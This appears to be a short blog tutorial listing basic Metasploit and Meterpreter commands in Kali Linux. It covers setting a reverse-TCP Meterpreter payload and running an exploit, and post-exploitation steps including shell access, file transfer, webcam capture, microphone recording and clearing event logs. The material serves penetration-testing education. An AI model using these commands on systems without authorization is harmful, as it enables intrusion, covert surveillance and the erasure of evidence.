Metasploit Basics in Kali Linux – Usage & Meterpreter Commands

Metasploit is a powerful penetration testing framework used in Kali Linux to test system security and find vulnerabilities. It provides a wide range of tools and modules that help in security testing, exploitation, and post-exploitation tasks in a controlled environment. It allows users to test different security tools and observe how a system reacts.

Installation Commands

In most Kali Linux systems, Metasploit is pre-installed. If not available, install it using:

sudo apt update && sudo apt install metasploit-framework -y

Check version:

msfconsole --version

Usage Commands

Usage Commands explain how to start Metasploit, select modules, set targets, and run exploits. Below commands will helps in performing basic operations in the framework step by step.

Start Metasploit:

msfconsole

Search modules:

search exploit
search ssh
search windows

Use a module:

use exploit/multi/handler

Show options:

show options

Set target:

set RHOSTS 192.168.1.1

Set payload:

set payload windows/meterpreter/reverse_tcp

Run exploit:

exploit

Meterpreter Commands

Meterpreter is a tool in Metasploit that gives control of a target system after exploitation. It allows you to run commands, access files, and view system information during testing.

Check system info:

sysinfo

Get current user:

getuid

List files:

ls

Change directory:

cd /path

Show current directory:

pwd

Download file:

download file.txt

Upload file:

upload file.txt

Take screenshot:

screenshot

List running processes:

ps

Kill process:

kill <pid>

Open shell:

shell

Get webcam (if available):

webcam_list
webcam_snap

Record microphone:

record_mic

Clear event logs:

clearev

Session list:

sessions

Interact with session:

sessions -i 1

Metasploit Basic Commands

Show help:

help

Show version:

version

Show payloads:

show payloads

Show exploits:

show exploits

Show advanced options:

show advanced

Exit Metasploit:

exit
See also  How to Install and Use Python in Termux
SHARE THIS POST:

Leave a Reply

Your email address will not be published. Required fields are marked *